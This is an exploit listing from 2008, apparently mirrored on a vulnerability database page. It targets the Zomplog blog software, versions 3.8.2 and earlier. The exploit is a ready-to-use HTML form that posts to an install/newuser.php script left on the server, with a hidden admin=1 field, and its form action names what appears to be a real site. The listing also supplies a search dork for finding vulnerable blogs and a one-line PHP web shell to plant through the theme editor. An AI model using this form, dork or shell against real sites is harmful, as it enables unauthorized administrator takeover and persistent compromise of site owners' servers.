Zomplog <= 3.8.2 (newuser.php) Arbitrary Add Admin Exploit

🗓️ 17 May 2008 00:00:00Reported by RootType

Zomplog <= 3.8.2 (newuser.php) Arbitrary Add Admin Exploit. Vulnerability to "install/newuser.php" to add 2 administrators. Folder "install" not removed in 70% of cases


                                                ========================&nbsp;WEBXAKEP.NET&nbsp;===========================

Name:&nbsp;&nbsp;&quot;Zomplog&nbsp;3.8.2&nbsp;&lt;=&nbsp;add&nbsp;admin&quot;
Version:&nbsp;All
Script&nbsp;Download:&nbsp;http://www.zomp.nl/zomplog/
DORK:&nbsp;&quot;powered&nbsp;by&nbsp;zomplog&quot;
Discovered&nbsp;By:&nbsp;ArxWolf
Discovered&nbsp;On:&nbsp;16&nbsp;05&nbsp;2008
WWW:&nbsp;http://WebXakep.net
ICQ:&nbsp;504-282

Vulnerability&nbsp;to&nbsp;&quot;install/newuser.php&quot;,&nbsp;to&nbsp;add&nbsp;2&nbsp;administrator.
Folder&nbsp;&quot;install&quot;&nbsp;not&nbsp;removed&nbsp;in&nbsp;70%&nbsp;of&nbsp;cases.

Exploit:
--------------------------------------------------------
&lt;br&gt;&lt;b&gt;&lt;center&gt;Добавляем&nbsp;админа&nbsp;&quot;Add&nbsp;Admin&quot;&lt;/center&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;
&lt;!--&nbsp;&lt;form&nbsp;action=&quot;http://localhost/install/newuser.php&quot;&nbsp;method=&quot;POST&quot;&gt;&nbsp;/--&gt;
&lt;form&nbsp;action=&quot;http://weblog.sgrim.us/install/newuser.php&quot;&nbsp;method=&quot;POST&quot;&gt;
&lt;p&gt;Титлы&nbsp;блога&nbsp;&quot;Blog&nbsp;Title&quot;&lt;br&nbsp;/&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;weblog_title&quot;&nbsp;maxlength=&quot;40&quot;&nbsp;id=&quot;blogname&quot;&nbsp;/&gt;
&nbsp;&nbsp;&lt;br&nbsp;/&gt;
&nbsp;&nbsp;&lt;br&nbsp;/&gt;
Логин&nbsp;&quot;Username&quot;&lt;br&nbsp;/&gt;
&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;login&quot;&nbsp;maxlength=&quot;15&quot;&nbsp;id=&quot;name&quot;&nbsp;/&gt;
&lt;br&nbsp;/&gt;
&lt;br&nbsp;/&gt;
Пароль&nbsp;&quot;Password&quot;&lt;br&nbsp;/&gt;
&lt;input&nbsp;type=&quot;password&quot;&nbsp;name=&quot;password&quot;&nbsp;maxlength=&quot;15&quot;&nbsp;id=&quot;pwd&quot;&nbsp;/&gt;
&lt;br&nbsp;/&gt;
&lt;br&nbsp;/&gt;
Повторяем&nbsp;пароль&nbsp;&quot;Confirm&nbsp;password&quot;&lt;br&nbsp;/&gt;
&lt;input&nbsp;type=&quot;password&quot;&nbsp;name=&quot;password2&quot;&nbsp;maxlength=&quot;15&quot;&nbsp;id=&quot;pwd2&quot;&nbsp;/&gt;
&lt;br&nbsp;/&gt;
&lt;br&nbsp;/&gt;
&lt;input&nbsp;name=&quot;admin&quot;&nbsp;type=&quot;hidden&quot;&nbsp;id=&quot;admin&quot;&nbsp;value=&quot;1&quot;&nbsp;/&gt;
&lt;input&nbsp;name=&quot;submit_user&quot;&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Submit&nbsp;&amp;rsaquo;&amp;rsaquo;&quot;&nbsp;id=&quot;submit&quot;&nbsp;/&gt;

&lt;/p&gt;
&lt;/form&gt;
-------------------------------------------------------------

http://******/admin/profile.php&nbsp;//&nbsp;Add&nbsp;or&nbsp;delete&nbsp;user&nbsp;^_^
http://******/admin/themes.php&nbsp;//&nbsp;&nbsp;If&nbsp;there&nbsp;is&nbsp;a&nbsp;right&nbsp;of&nbsp;entry&nbsp;you&nbsp;can&nbsp;fill&nbsp;shell.&nbsp;&lt;?php&nbsp;copy($_GET['i'],$_GET['o']);&nbsp;?&gt;


=========================&nbsp;WEBXAKEP.NET&nbsp;===========================

17 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1

Zomplog &lt;= 3.8.2 (newuser.php) Arbitrary Add Admin Exploit

Zomplog <= 3.8.2 (newuser.php) Arbitrary Add Admin Exploit